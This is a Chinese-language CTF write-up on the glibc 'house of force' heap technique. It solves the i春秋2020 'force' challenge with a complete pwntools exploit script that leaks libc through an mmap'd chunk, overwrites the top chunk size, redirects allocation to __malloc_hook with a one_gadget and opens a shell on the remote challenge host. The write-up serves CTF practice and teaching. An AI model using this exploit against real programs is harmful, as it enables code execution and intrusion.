House of force能夠使我們将堆申請到任意位址,滿足以下條件,即可達到利用
- 能夠改寫top chunk的size域
- 能夠自由控制堆配置設定大小
- 能夠知道目标位址與top chunk位址之間的距離(可以洩露位址,計算出偏移)
詳細見CTF-WIKIhttps://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_force-zh/
Force
我們以i春秋2020新春戰役的force這題為例
首先,我們檢查一下程式的保護機制
然後,我們用IDA分析一下,發現程式顯示給我們堆位址,那麼我們就不用洩露了。并且如果我們申請的堆較小,read可以溢出,如果在top chunk上方,就能修改top chunk的size。
現在關鍵是洩露libc位址。Show功能沒有用,是一個忽悠。
洩露libc位址,其實也是從add函數裡着手,既然程式顯示給我們堆位址,那麼如果我們申請的堆足夠大,malloc就會使用mmap來配置設定記憶體,而mmap配置設定的記憶體靠近libc,與libc的偏移是固定的,那麼,我們就能計算出libc位址。
幾個條件都達成了,那麼,我們就能利用house of force将堆申請到malloc_hook,寫malloc_hook即可。
綜上,我們的exp腳本
#coding:utf8
from pwn import *
#sh = process('./force')
sh = remote('node3.buuoj.cn',26394)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
realloc_s = libc.sym['realloc']
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget = 0x4526a
def create(size,content):
sh.sendlineafter('2:puts','1')
sh.sendlineafter('size',str(size))
sh.recvuntil('bin addr ')
addr = int(sh.recvuntil('\n',drop = True),16)
sh.sendafter('content',content)
return addr
#通過mmap一個堆,我們得到了mmap的堆的位址,就能計算出libc位址
#因為mmap的這個堆靠近libc的位址
libc_base = create(0x200000,'a') + 0x200FF0
realloc_addr = libc_base + realloc_s
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#house of force
#修改top chunk的size為-1,即超級大
heap_addr = create(0x10,'\x00'*0x18 + p64(0xFFFFFFFFFFFFFFFF)) - 0x10
print 'heap_addr=',hex(heap_addr)
top_chunk_addr = heap_addr + 0x20
print 'top_chunk_addr=',hex(top_chunk_addr)
#配置設定偏移大小的chunk,将top chunk移到了malloc_hook_addr - 0x20處
offset = malloc_hook_addr - top_chunk_addr - 0x30
create(offset,'c')
#配置設定到relloc_hook處,寫同時realloc_hook和malloc_hook
create(0x10,p64(0) + p64(one_gadget_addr) + p64(realloc_addr + 4))
#getshell
sh.sendlineafter('2:puts','1')
sh.sendlineafter('size','1')
sh.interactive()